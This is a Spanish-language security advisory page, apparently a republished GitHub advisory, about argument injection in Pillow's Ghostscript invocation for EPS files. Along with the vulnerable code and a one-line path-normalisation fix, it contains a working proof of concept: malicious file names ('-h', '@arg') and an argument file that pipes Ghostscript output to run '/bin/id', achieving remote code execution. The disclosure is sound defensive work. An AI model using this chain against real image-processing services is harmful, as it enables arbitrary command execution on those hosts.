Crítica

Pillow: Inyección de argumentos en la llamada a Ghostscript, con posible RCE

  • Publicada: 21.10.2026
  • Actualizado: 22.10.2026 00:00

Resumen

PIL.EpsImagePlugin.Ghostscript() construye la línea de comandos de Ghostscript utilizando la ruta del archivo de entrada (fp.name) sin sanitización, colocándola en -f <infile>. Ghostscript interpreta un nombre de archivo que comienza con - como una opción, lo que provoca una inyección de argumentos en la línea de comandos; encadenable a RCE (ver Impacto). Se reproduce con la invocación predeterminada de Pillow (con -dSAFER habilitado).

Detalles

Tipo

CWE-88 (Inyección de argumentos) (→ CWE-78 (Inyección de comandos del SO) opcionalmente, con un archivo de texto controlado por el atacante)

Códigos vulnerables

python
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
    infile = fp.name                      # user-controlled path used as-is, without validation
else:
    in_fd, infile_temp = tempfile.mkstemp()
    os.close(in_fd)
    infile = infile_temp
    # ... (copy fp into a temporary file)

# Build Ghostscript command
command = [
    gs_binary,
    "-q",
    f"-g{width:d}x{height:d}",
    f"-r{res_x:f}x{res_y:f}",
    "-dBATCH",
    "-dNOPAUSE",
    "-dSAFER",                            # default sandbox — does NOT stop this injection
    f"-sDEVICE={device}",
    f"-sOutputFile={outfile}",
    "-c",
    f"{-bbox[0]} {-bbox[1]} translate",
    "-f",
    infile,                               # injected here: inserted into argv with no check for
                                          # option prefixes (-, --) or Ghostscript's @-file token
                                          # => argument injection (CWE-88)
    "-c",
    "showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript

Causa raíz

Al renderizar una imagen EPS, PIL.EpsImagePlugin.Ghostscript() construye la línea de comandos de Ghostscript utilizando la ruta del archivo de entrada (fp.name) y la coloca directamente en la posición -f <infile> de la lista de argumentos. Esta ruta puede ser controlada por el usuario, sin embargo, Pillow no realiza ninguna validación o neutralización de los tokens que Ghostscript procesa de manera especial durante el análisis de argumentos en la línea de comandos — en particular un - o -- inicial (que Ghostscript interpreta como una opción en lugar de un nombre de archivo) y un @ inicial (sintaxis de archivo de argumentos de Ghostscript, que hace que lea argumentos adicionales de línea de comandos desde el archivo nombrado). Dado que el nombre de archivo no se normaliza (por ejemplo, forzando una ruta absoluta o anteponiendo ./) ni se verifica contra estos prefijos antes de entregarse al subproceso, un atacante que controle el nombre de archivo pasado a Image.open() puede inyectar argumentos arbitrarios de línea de comandos en Ghostscript. Este es un fallo clásico de inyección de argumentos (CWE-88), y no se mitiga con la configuración predeterminada -dSAFER de Pillow.

Afectados

  • Pillow: probado en 12.3.0 (última versión); el código vulnerable es antiguo y parece afectar a todas las versiones actuales (incluida main).
  • Componente: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, y la entrada de la lista de comandos "-f", infile.

Corrección sugerida

Normalizar el nombre del archivo a una ruta absoluta antes de pasarlo a Ghostscript, para que nunca pueda ser interpretado como una opción (-/--) o como un token de archivo de argumentos (@):

python
    if hasattr(fp, "name") and os.path.exists(fp.name):
        infile = os.path.abspath(fp.name)   # was: infile = fp.name

os.path.abspath() garantiza que la ruta comience con un separador de ruta (o una letra de unidad en Windows), por lo que un - o @ inicial ya no llegará al analizador de argumentos de Ghostscript. La rama else ya construye una ruta segura tempfile.mkstemp() y no necesita cambios.

PoC

dockerfile, la ejecución por defecto muestra la demostración de inyección de argumentos (poc.py); para la PoC de RCE ejecute python3 poc-rce.py.

FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]

poc.py

python
import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
    im.load()
except Exception as e:
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't display `help`")

poc-rce.py

python
import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
    im.load()
except Exception as e:
    print(f"*********************************************")
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection  ; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't call `id`")

arg

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice

Impacto

Confirmado — Inyección de argumentos en Ghostscript. Dado que el nombre de archivo no se valida, Ghostscript procesa un -/-- inicial como una opción en lugar de un archivo. Un atacante que controle el nombre de archivo pasado a Image.open() puede, por lo tanto, inyectar un argumento de línea de comandos en Ghostscript. La inyección de un único argumento siempre tiene éxito.

Posible RCE (verificado). El nombre de archivo tampoco se valida contra la sintaxis de archivo @ de Ghostscript: un nombre de archivo con el formato @<path> hace que Ghostscript lea argumentos de línea de comandos adicionales desde <path>, permitiendo inyectar múltiples argumentos a la vez. Si el atacante además puede controlar el archivo referenciado, esto puede escalarse a ejecución arbitraria de comandos — una escalada verificada en la PoC (ejecución de id).

Aplica bajo la configuración predeterminada de Pillow (con -dSAFER habilitado), en Pillow 12.3.0 con Ghostscript 10.02.1. Con los mismos argumentos de GS, también se confirmó RCE con la última versión de GS (10.07.1).

Por qué este es un error de Pillow (y no el riesgo documentado de "bloquear EPS no confiables")

Este no es el riesgo de contenido malicioso en EPS descrito en la política de seguridad de Pillow: el fallo se desencadena por el nombre del archivo, no por el contenido del documento PostScript. Un archivo EPS completamente benigno genera una inyección de argumentos en Ghostscript siempre que el atacante pueda influir en el nombre del archivo pasado a Image.open(), por lo que las aplicaciones que procesan EPS legítimamente siguen afectadas — la recomendación de bloquear entradas EPS no confiables no cubre este caso. Dado que Pillow es el componente que construye la línea de comandos de Ghostscript, garantizar que un nombre de archivo no pueda reinterpretarse como una opción (-/--) o como un token de archivo de argumentos (@) es responsabilidad de Pillow, no de cada invocador posterior. La precondición —influencia del atacante sobre un nombre de archivo que llega a Image.open()— es realista (por ejemplo, endpoints de carga de archivos que conservan o derivan el nombre almacenado a partir de la entrada del usuario), y encadenarla con esta vulnerabilidad produce RCE en la práctica, no solo en la teoría. Una normalización de una sola línea (os.path.abspath(fp.name)) la soluciona sin alterar el uso de la API por parte de las aplicaciones.

Autor

Chanu Kang (de CysecLab en KAIST) @HLe4s

Qué hacer

Actualice el paquete pillow a la versión 13.0.0 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pillow >= 2.6.0, < 13.0.0 13.0.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-78, CWE-88
Plataforma
Python (PyPI)
Paquete
pillow
Publicada
21.10.2026
Actualizado
22.10.2026 00:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-w889-685w-c8fh - CC BY 4.0

Historial de vulnerabilidades: pillow

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (89) en el archivo
Entradas en total
89
Primera → última
04.2014 10.2026
Sin corrección
0
Explotada en ataques
1

Distribución por gravedad

  • Crítica 12
  • Alta 57
  • Media 18
  • Baja 1
  • Sin evaluar 1

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 31

antes: 12

Gravedad:
  1. Alta CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Pillow: Inyección de argumentos en la llamada a Ghostscript, con posible RCE esta entrada
    Crítica CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  3. Alta · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  4. Alta CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  5. Alta · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  6. Alta CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  7. Alta · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  8. Alta · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  9. Crítica · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  10. Alta · 8.8 Explotada en ataques CVE-2023-4863 < 10.0.1 10.0.1
  11. Alta · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  12. Alta · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  13. Alta · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  14. Crítica · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  15. Alta · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  16. Crítica · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  17. Alta · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  18. Alta · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  19. Alta · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  20. Alta · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  21. Alta · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  22. Alta · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
Mostrar más (20) Mostrando 40 de 69

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.